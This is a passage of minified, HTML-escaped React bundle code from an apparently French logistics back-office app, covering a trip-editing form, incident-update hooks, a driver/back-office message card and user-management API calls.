gap-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(&quot;/voyages&quot;),className:&quot;flex-shrink-0&quot;,children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:&quot;Modifier le voyage&quot;}),a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Modifiez les informations du voyage &quot;,s?.code||&quot;&quot;]})]})]}),q?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(&quot;form&quot;,{onSubmit:J,className:&quot;space-y-8&quot;,children:[a.jsxs(it,{className:&quot;p-6&quot;,children:[a.jsx(Se,{className:&quot;text-lg font-semibold mb-4 block&quot;,children:&quot;Type de voyage&quot;}),a.jsx(xne,{voyageTypes:v,selectedId:l.voyageTypeId,onSelect:ne=&gt;{c(V=&gt;({...V,voyageTypeId:ne?.id||null}))},isLoading:w})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 lg:grid-cols-2 gap-8&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(Se,{className:&quot;text-base font-semibold&quot;,children:[&quot;Véhicule &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-2 sm:grid-cols-3 gap-3 max-h-96 overflow-y-auto p-2 border rounded-lg&quot;,children:O.map(ne=&gt;{const V=l.vehicleId===ne.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;L(ne.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${V?&quot;border-[#8B5CF6] bg-[#8B5CF6]/5 shadow-[0_0_8px_rgba(139,92,246,0.3)]&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent&quot;}`,children:[V&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-[#8B5CF6]&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-[#8B5CF6]/20 text-[#8B5CF6] border-[#8B5CF6]/30&quot;,children:&quot;✔️ Sélectionné&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[ne.photoUrl?a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded overflow-hidden bg-muted&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(ne.photoUrl)||void 0,alt:ne.immatriculation,className:&quot;w-full h-full object-cover&quot;,onError:ue=&gt;{ue.target.style.display=&quot;none&quot;}})}):a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded bg-muted flex items-center justify-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-3xl&quot;,children:&quot;🚚&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-sm&quot;,children:ne.immatriculation}),(ne.marque||ne.modele)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[ne.marque,&quot; &quot;,ne.modele]})]})]})]},ne.id)})})]}),R&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(Se,{className:&quot;text-base font-semibold&quot;,children:&quot;Remorque&quot;}),a.jsx(__,{vehicle:R,trailer:M,isFromCoupling:!!S?.trailer&amp;&amp;!l.trailerId}),!S?.trailer&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Sélectionner une remorque (optionnel)&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 sm:grid-cols-3 gap-3 max-h-48 overflow-y-auto p-2 border rounded-lg&quot;,children:[a.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;X(null),className:`p-3 rounded-lg border-2 transition-all text-center ${l.trailerId?&quot;border-border hover:border-primary/50&quot;:&quot;border-primary bg-primary/5&quot;}`,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Sans remorque&quot;})}),h.map(ne=&gt;{const V=l.trailerId===ne.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;X(ne.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${V?&quot;border-primary bg-primary/5&quot;:&quot;border-border hover:border-primary/50&quot;}`,children:[V&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-4 w-4 text-primary&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[ne.photoUrl?a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded overflow-hidden bg-muted&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(ne.photoUrl)||void 0,alt:ne.numeroChassis,className:&quot;w-full h-full object-cover&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded bg-muted flex items-center justify-center&quot;,children:a.jsx(il,{className:&quot;h-6 w-6 text-muted-foreground&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-xs&quot;,children:ne.numeroChassis}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:ne.type})]})]})]},ne.id)})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(Se,{className:&quot;text-base font-semibold&quot;,children:[&quot;Chauffeur principal &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),$.length===0?a.jsx(it,{className:&quot;p-4 border-dashed&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:&quot;Aucun chauffeur disponible&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-64 overflow-y-auto p-2 border rounded-lg&quot;,children:$.map(ne=&gt;{const V=l.mainDriverId===ne.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;W(ne.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${V?&quot;border-green-500 bg-green-500/5 shadow-[0_0_8px_rgba(34,197,94,0.3)]&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent&quot;}`,children:[V&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-green-500&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-green-500/20 text-green-700 border-green-500/30&quot;,children:&quot;✔️ Sélectionné&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:ne.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(ne.photoUrl)||void 0,alt:`${ne.prenom} ${ne.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:ue=&gt;{ue.target.style.display=&quot;none&quot;}}):a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full bg-muted flex items-center justify-center text-xs font-semibold&quot;,children:[ne.prenom.charAt(0),ne.nom.charAt(0)]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[ne.prenom,&quot; &quot;,ne.nom]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:iO[ne.role]||ne.role})]})]})]},ne.id)})})]}),P.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(Se,{className:&quot;text-base font-semibold&quot;,children:&quot;Autres membres d&#039;équipage (optionnel)&quot;}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-64 overflow-y-auto p-2 border rounded-lg&quot;,children:P.map(ne=&gt;{const V=l.additionalCrewIds.includes(ne.id);return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;G(ne.id),className:`relative p-3 rounded-lg border-2 transition-all text-left ${V?&quot;border-primary bg-primary/5&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent&quot;}`,children:[V&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-4 w-4 text-primary&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-10 h-10 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:ne.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(ne.photoUrl)||void 0,alt:`${ne.prenom} ${ne.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:ue=&gt;{ue.target.style.display=&quot;none&quot;}}):a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full bg-muted flex items-center justify-center text-xs font-semibold&quot;,children:[ne.prenom.charAt(0),ne.nom.charAt(0)]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[ne.prenom,&quot; &quot;,ne.nom]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:iO[ne.role]||ne.role})]})]})]},ne.id)})})]})]}),a.jsx(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;title&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Titre du voyage &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;title&quot;,value:l.title,onChange:ne=&gt;c(V=&gt;({...V,title:ne.target.value})),placeholder:&quot;Ex: Ouaga – Lomé – Clinker&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{htmlFor:&quot;description&quot;,className:&quot;text-base font-semibold&quot;,children:&quot;Description (optionnel)&quot;}),a.jsx(&quot;textarea&quot;,{id:&quot;description&quot;,value:l.description,onChange:ne=&gt;c(V=&gt;({...V,description:ne.target.value})),placeholder:&quot;Détails supplémentaires sur la mission...&quot;,className:&quot;mt-1 w-full min-h-[100px] px-3 py-2 rounded-md border border-input bg-background text-sm ring-offset-background placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;clientName&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Client &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;clientName&quot;,value:l.clientName,onChange:ne=&gt;c(V=&gt;({...V,clientName:ne.target.value})),placeholder:&quot;Nom du client&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{htmlFor:&quot;clientReference&quot;,className:&quot;text-base font-semibold&quot;,children:&quot;Référence client (optionnel)&quot;}),a.jsx(Xe,{id:&quot;clientReference&quot;,value:l.clientReference,onChange:ne=&gt;c(V=&gt;({...V,clientReference:ne.target.value})),placeholder:&quot;Ref. client&quot;,className:&quot;mt-1&quot;})]})]}),a.jsx(&quot;div&quot;,{children:a.jsx(i4,{locations:j,selectedId:l.loadingLocationId,onSelect:ne=&gt;{c(V=&gt;({...V,loadingLocationId:ne?.id||null,loadingSite:ne?.name||&quot;&quot;}))},isLoading:E,label:&quot;Lieu de chargement&quot;,placeholder:&quot;Rechercher un lieu de chargement...&quot;})}),a.jsx(&quot;div&quot;,{children:a.jsx(i4,{locations:j,selectedId:l.unloadingLocationId,onSelect:ne=&gt;{c(V=&gt;({...V,unloadingLocationId:ne?.id||null,unloadingSite:ne?.name||&quot;&quot;}))},isLoading:E,label:&quot;Lieu de déchargement&quot;,placeholder:&quot;Rechercher un lieu de déchargement...&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;loadingType&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Type de chargement &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;loadingType&quot;,value:l.loadingType,onChange:ne=&gt;c(V=&gt;({...V,loadingType:ne.target.value})),placeholder:&quot;Ex: Clinker, Ciment ensaché&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;loadingOrderNumber&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;N° bon de chargement &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;loadingOrderNumber&quot;,value:l.loadingOrderNumber,onChange:ne=&gt;c(V=&gt;({...V,loadingOrderNumber:ne.target.value})),placeholder:&quot;N° bon&quot;,className:&quot;mt-1&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(Se,{htmlFor:&quot;loadingOrderDate&quot;,className:&quot;text-base font-semibold&quot;,children:[&quot;Date bon de chargement &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;loadingOrderDate&quot;,type:&quot;date&quot;,value:l.loadingOrderDate,onChange:ne=&gt;c(V=&gt;({...V,loadingOrderDate:ne.target.value})),className:&quot;mt-1&quot;,required:!0})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;plannedStartAt&quot;,className:&quot;text-base font-semibold&quot;,children:&quot;Date de départ prévue&quot;}),a.jsx(Xe,{id:&quot;plannedStartAt&quot;,type:&quot;datetime-local&quot;,value:l.plannedStartAt,onChange:ne=&gt;c(V=&gt;({...V,plannedStartAt:ne.target.value})),className:&quot;mt-1&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:l.plannedStartAt?&quot;Date de départ définie par l&#039;utilisateur&quot;:&quot;Si non définie, la date de création du voyage sera utilisée&quot;}),C?.standardDurationDays&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mt-2 p-3 bg-muted/50 rounded-lg&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:[&quot;Durée standard du type de voyage : &quot;,C.standardDurationDays,&quot; jour&quot;,C.standardDurationDays&gt;1?&quot;s&quot;:&quot;&quot;]}),l.plannedStartAt&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mt-1&quot;,children:[&quot;Date de retour prévue : &quot;,new Date(new Date(l.plannedStartAt).getTime()+C.standardDurationDays*24*60*60*1e3).toLocaleString(&quot;fr-FR&quot;,{day:&quot;2-digit&quot;,month:&quot;short&quot;,year:&quot;numeric&quot;,hour:&quot;2-digit&quot;,minute:&quot;2-digit&quot;})]})]})]}),a.jsx(&quot;div&quot;,{children:a.jsx(yne,{imageUrl:l.loadingBonImageUrl,onImageChange:ne=&gt;c(V=&gt;({...V,loadingBonImageUrl:ne})),isLoading:ee})}),a.jsx(&quot;div&quot;,{children:a.jsx(vne,{value:l.expectedTours,onChange:ne=&gt;c(V=&gt;({...V,expectedTours:ne}))})})]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-end gap-4 pt-4 border-t&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;t(n?`/voyages/${n}`:&quot;/voyages&quot;),disabled:ee,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:ee,className:&quot;bg-[#8B5CF6] hover:bg-[#7C3AED]&quot;,children:ee?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Mise à jour en cours...&quot;]}):&quot;Enregistrer les modifications&quot;})]})]})]})}function oHe(e,t){return cr({queryKey:[&quot;/api/voyages&quot;,e,&quot;incidents&quot;,t],queryFn:()=&gt;T$(e),enabled:!!e})}function lHe(e,t){return cr({queryKey:[&quot;/api/voyages&quot;,e,&quot;incidents&quot;,t],queryFn:()=&gt;R$(e,t),enabled:!!e&amp;&amp;!!t})}function cHe(){const{toast:e}=Er();return _r({mutationFn:({voyageId:t,incidentId:r,data:n})=&gt;Q$(t,r,n),onSuccess:(t,r)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r.voyageId,&quot;incidents&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r.voyageId,&quot;incidents&quot;,r.incidentId]}),jt.invalidateQueries({queryKey:[&quot;/api/incidents&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r.voyageId,&quot;events&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;L&#039;incident a été mis à jour avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de mettre à jour l&#039;incident&quot;})}})}function uHe(){const{toast:e}=Er();return _r({mutationFn:({voyageId:t,incidentId:r,data:n})=&gt;xg(t,r,n),onSuccess:(t,r)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r.voyageId,&quot;incidents&quot;,r.incidentId]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r.voyageId,&quot;events&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/incidents&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le message a été envoyé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible d&#039;envoyer le message&quot;})}})}function dHe(e){const t=e.trim().split(/\s+/);return t.length&gt;=2?(t[0][0]+t[t.length-1][0]).toUpperCase():e.substring(0,2).toUpperCase()}function fHe({event:e,onViewIncident:t,onEditIncident:r,onReplyToIncident:n}){const i=D$();I.useEffect(()=&gt;{if(e.senderRole===&quot;chauffeur&quot;&amp;&amp;!e.isRead&amp;&amp;e.id&amp;&amp;e.voyageId){const h=setTimeout(()=&gt;{i.mutate({voyageId:e.voyageId,eventId:e.id})},500);return()=&gt;clearTimeout(h)}},[e.id,e.voyageId,e.senderRole,e.isRead]);const s=()=&gt;{if(e.type===&quot;media&quot;)switch(e.mediaKind){case&quot;photo&quot;:return&quot;Photo&quot;;case&quot;video&quot;:return&quot;Vidéo&quot;;case&quot;audio&quot;:return&quot;Audio&quot;;default:return&quot;Média&quot;}return e.type===&quot;message&quot;?&quot;Message&quot;:e.type===&quot;incident&quot;?&quot;Incident&quot;:&quot;Note&quot;},o=e.senderRole===&quot;chauffeur&quot;,l=e.senderRole===&quot;backoffice&quot;,c=e.creator?.name||&quot;Utilisateur&quot;,d=dHe(c),u=e.creator?.avatar||null;return a.jsx(it,{className:&quot;hover:shadow-md transition-shadow&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsxs(Dm,{className:&quot;h-10 w-10 flex-shrink-0 border-2 border-border&quot;,children:[u?a.jsx(Tm,{src:Sr(u),alt:c,onError:h=&gt;{const p=h.target;p.style.display=&quot;none&quot;}}):null,a.jsx(Rm,{className:`${o?&quot;bg-blue-100 dark:bg-blue-900 text-blue-700 dark:text-blue-300&quot;:l?&quot;bg-green-100 dark:bg-green-900 text-green-700 dark:text-green-300&quot;:&quot;bg-muted&quot;}`,children:d})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0 space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 flex-wrap&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:s()}),e.etape&amp;&amp;a.jsxs(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:[a.jsx(ei,{className:&quot;h-3 w-3 mr-1&quot;}),e.etape.label]}),(e.incidentId||e.incident)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs cursor-pointer hover:bg-primary/10 border-primary/30 bg-primary/5&quot;,onClick:()=&gt;t?.(e.incidentId||e.incident.id),children:[a.jsx(Kn,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Incident #&quot;,e.incidentId||e.incident.id]}),r&amp;&amp;(e.incidentId||e.incident)&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-6 px-2 text-xs&quot;,onClick:()=&gt;r(e.incidentId||e.incident.id),title:&quot;Modifier l&#039;incident&quot;,children:a.jsx($m,{className:&quot;h-3 w-3&quot;})}),n&amp;&amp;(e.incidentId||e.incident)&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-6 px-2 text-xs&quot;,onClick:()=&gt;n(e.incidentId||e.incident.id),title:&quot;Répondre à ce message&quot;,children:a.jsx(xm,{className:&quot;h-3 w-3&quot;})})]})]}),a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground whitespace-nowrap&quot;,children:Wr(new Date(e.occurredAt),&quot;HH:mm&quot;,{locale:Hr})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium text-foreground&quot;,children:c}),e.senderRole&amp;&amp;a.jsx(yt,{variant:o?&quot;default&quot;:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:o?&quot;Chauffeur&quot;:&quot;Backoffice&quot;}),!e.isRead&amp;&amp;e.senderRole===&quot;chauffeur&quot;&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-blue-100 dark:bg-blue-900&quot;,children:&quot;Non lu&quot;})]}),e.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-foreground whitespace-pre-wrap&quot;,children:e.description}),e.media&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mt-3&quot;,children:[e.mediaKind===&quot;photo&quot;&amp;&amp;e.media.url&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;relative group&quot;,children:a.jsx(&quot;img&quot;,{src:e.media.url,alt:e.description||&quot;Photo&quot;,className:&quot;max-w-full h-auto rounded-lg border cursor-pointer hover:opacity-90 transition-opacity&quot;,onClick:()=&gt;window.open(e.media.url,&quot;_blank&quot;)})}),e.mediaKind===&quot;video&quot;&amp;&amp;e.media.url&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;relative&quot;,children:a.jsx(&quot;video&quot;,{src:e.media.url,controls:!0,className:&quot;max-w-full h-auto rounded-lg border&quot;,children:&quot;Votre navigateur ne supporte pas la lecture de vidéos.&quot;})}),e.mediaKind===&quot;audio&quot;&amp;&amp;e.media.url&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;max-w-full&quot;,children:[a.jsx(&quot;source&quot;,{src:e.media.url,type:e.media.mime||&quot;audio/mpeg&quot;}),&quot;Votre navigateur ne supporte pas la lecture audio.&quot;]}),e.media.durationSec&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[Math.floor(e.media.durationSec/60),&quot;:&quot;,(e.media.durationSec%60).toString().padStart(2,&quot;0&quot;)]})]})]}),n&amp;&amp;(e.incidentId||e.incident)&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex justify-end mt-2 pt-2 border-t&quot;,children:a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;n(e.incidentId||e.incident.id),className:&quot;h-8 w-8 rounded-full bg-blue-500 hover:bg-blue-600 text-white p-0&quot;,&quot;aria-label&quot;:&quot;Répondre&quot;,title:&quot;Répondre à ce message&quot;,children:a.jsx(g4,{className:&quot;h-5 w-5&quot;,fill:&quot;currentColor&quot;})})})]})]})})})}new Date().toISOString(),new Date().toISOString(),new Date().toISOString(),new Date().toISOString();async function T_(e){const t=new URLSearchParams;return e?.search&amp;&amp;t.append(&quot;search&quot;,e.search),e?.role&amp;&amp;t.append(&quot;role&quot;,e.role),e?.is_active!==void 0&amp;&amp;t.append(&quot;is_active&quot;,String(e.is_active)),e?.page&amp;&amp;t.append(&quot;page&quot;,String(e.page)),e?.per_page&amp;&amp;t.append(&quot;per_page&quot;,String(e.per_page)),await $t(`/api/users?${t.toString()}`)}async function hHe(e){return await $t(`/api/users/${e}`)}async function mHe(e){return await $t(&quot;/api/users&quot;,{method:&quot;POST&quot;,body:e})}async function pHe(e,t,r,n){return await $t(&quot;/api/users/from-crew-member&quot;,{method:&quot;POST&quot;,body:{crew_member_id:e,email:t,password:r,role:n}})}async function gHe(e,t){return await $t(`/api/users/${e}`,{method:&quot;PATCH&quot;,body:t})}async function AHe(e){await $t(`/api/users/${e}`,{method:&quot;DELETE&quot;})}async function xHe(e,t){const r=new FormData;return r.append(&quot;avatar&quot;,t),await $t(`/api/users/${e}/avatar`,{method:&quot;POST&quot;,body:r})}async function vHe(e,t){const r=new FormData;return t.id_type&amp;&amp;r.append(&quot;id_type&quot;,t.id_type),t.id_number&amp;&amp;r.append(&quot;id_number&quot;,t.id_number),t.id_front&amp;&amp;r.append(&quot;id_front&quot;,t.id_front),t.id_back&amp;&amp;r.append(&quot;id_back&quot;,t.id_back),t.selfie&amp;&amp;r.append(&quot;selfie&quot;,t.selfie),await $t(`/api/users/${e}/documents`,{method:&quot;POST&quot;,body:r})}async function yHe(e,t){return await $t(`/api/users/${e}/password`,{method:&quot;PATCH&quot;,body:{password:t}})}async function bHe(e,t){return await $t(`/api/users/${e}/status`,{method:&quot;PATCH&quot;,body:{is_active:t}})}async function wHe(){return(await $t(&quot;/api/crew-members&quot;)).filter(t=&gt;!t.userId)}function EHe({voyageId:e,incidentId:t,open:r,onOpenChange:n}){const[i,s]=I.useState(&quot;ouvert&quot;),[o,l]=I.useState(&quot;normale&quot;),[c,d]=I.useState(null),{data:u,isLoading:h}=lHe(e,t),{data:p,isLoading:A}=cr({queryKey:[&quot;/api/users&quot;],queryFn:()=&gt;T_({per_page:100,is_active:!0}),enabled:r}),v=(p?.data||[]).filter(S=&gt;S.role!==&quot;chauffeur&quot;&amp;&amp;S.role!==&quot;apprenti&quot;);I.useEffect(()=&gt;{u&amp;&amp;(s(u.status),l(u.priority),d(u.assignedTo||null))},[u]);const w=cHe(),j=async S=&gt;{S.preventDefault(),t&amp;&amp;w.mutate({voyageId:e,incidentId:t,data:{status:i,priority:o,assignedTo:c}},{onSuccess:()=&gt;{n(!1)}})},E=h||A;return a.jsx(En,{open:r,onOpenChange:n,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px]&quot;,children:[a.jsx(Cn,{children:a.jsx(In,{children:&quot;Modifier l&#039;incident&quot;})}),E?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):u?a.jsxs(&quot;form&quot;,{onSubmit:j,className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 p-3 bg-muted rounded-lg&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Type :&quot;}),&quot; &quot;,a.jsx(&quot;span&quot;,{className:&quot;capitalize&quot;,children:u.type})]}),u.etape&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Étape :&quot;}),&quot; 